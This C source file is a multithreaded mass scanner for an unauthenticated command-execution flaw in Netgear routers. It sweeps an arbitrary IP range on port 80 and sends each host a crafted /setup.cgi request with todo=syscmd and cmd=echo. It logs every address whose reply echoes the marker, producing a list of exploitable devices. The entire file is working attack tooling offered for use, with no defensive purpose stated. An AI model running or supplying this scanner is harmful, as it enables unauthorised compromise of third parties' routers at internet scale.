/* Netgear unauthenticated command execution scanner */
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <pthread.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define BUFSIZE 4096
int timeout;
char *log_file;
unsigned long start_ip, end_ip, ips_per_thread;
volatile int vuln_found, running_threads, ips_scanned;
pthread_mutex_t file_mutex = PTHREAD_MUTEX_INITIALIZER;
void sighandler(int sig)
{
fprintf(stdout, "\n");
exit(EXIT_SUCCESS);
}
void *dongs(void *id)
{
running_threads++;
int thread_id = (int)id;
char ipbuff[16], sendbuff[BUFSIZE], recvbuff[BUFSIZE];
unsigned long current_ip, s_ip = start_ip + ips_per_thread * thread_id, e_ip = start_ip + ips_per_thread * (thread_id + 1);
int s;
fd_set selset;
struct timeval tv;
struct sockaddr_in si_other;
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
return;
}
for (current_ip = s_ip; (e_ip >= end_ip && current_ip <= end_ip) || current_ip < e_ip; current_ip++) {
fcntl(s, F_SETFL, fcntl(s, F_GETFL, NULL) | O_NONBLOCK); // set socket non-blocking
memset(&si_other, '\0', sizeof(si_other));
si_other.sin_family = AF_INET;
si_other.sin_port = htons(80);
si_other.sin_addr.s_addr = htonl(current_ip);
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO(&selset);
FD_SET(s, &selset);
snprintf(ipbuff, sizeof(ipbuff), "%d.%d.%d.%d", (current_ip & 0xFF000000) >> 24, (current_ip & 0x00FF0000) >> 16, (current_ip & 0x0000FF00) >> 8, current_ip & 0x000000FF);
snprintf(sendbuff, sizeof(sendbuff), "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo lolimgay&curpath=/¤tsetting.htm=1 HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko\r\n\r\n", ipbuff);
connect(s, (struct sockaddr *)&si_other, sizeof(si_other));
if (select(s + 1, NULL, &selset, NULL, &tv) > 0) {
int n, valopt;
socklen_t len = sizeof(int);
getsockopt(s, SOL_SOCKET, SO_ERROR, &valopt, &len);
if (valopt == 0) {
fcntl(s, F_SETFL, fcntl(s, F_GETFL, NULL) & ~O_NONBLOCK); // set socket blocking
write(s, sendbuff, strlen(sendbuff)); // write the payload
while ((n = read(s, recvbuff, BUFSIZE - 1)) > 0) {
recvbuff[n] = '\0';
if (strstr(recvbuff, "lolimgay")) {
vuln_found++;
pthread_mutex_lock(&file_mutex);
FILE *fp;
if (fp = fopen(log_file, "a")) {
fprintf(fp, "%s\n", ipbuff);
fclose(fp);
}
pthread_mutex_unlock(&file_mutex);
break;
}
}
}
}
ips_scanned++;
}
close(s);
running_threads--;
}
int main(int argc, char **argv)
{
if (argc < 6) {
fprintf(stderr, "Usage: %s <ip range start> <ip range end> <log file> <threads> <timeout>\n", argv[0]);
exit(EXIT_FAILURE);
}
signal(SIGINT, sighandler);
signal(SIGPIPE, SIG_IGN);
log_file = argv[3];
timeout = atoi(argv[5]);
int i, threadc = atoi(argv[4]);
pthread_t threads[threadc];
inet_pton(AF_INET, argv[1], &start_ip);
inet_pton(AF_INET, argv[2], &end_ip);
start_ip = ntohl(start_ip);
end_ip = ntohl(end_ip);
ips_per_thread = (end_ip - start_ip + threadc / 2) / threadc; // do not truncate
unsigned long toscan = end_ip - start_ip;
fprintf(stdout, "Starting Scanner...\n");
for (i = 0; i < threadc; i++) {
pthread_create(&threads[i], NULL, dongs, (void *)i);
}
fprintf(stdout, "Found\tLeft\tThreads\n");
while (running_threads > 0) {
fprintf(stdout, "\r%d\t%lu\t%d", vuln_found, toscan - ips_scanned, running_threads);
fflush(stdout);
sleep(1);
}
for (i = 0; i < threadc; i++) { // clean up thread resources
pthread_join(threads[i], NULL);
}
pthread_mutex_destroy(&file_mutex);
fprintf(stdout, "\n");
exit(EXIT_SUCCESS);
}
Comments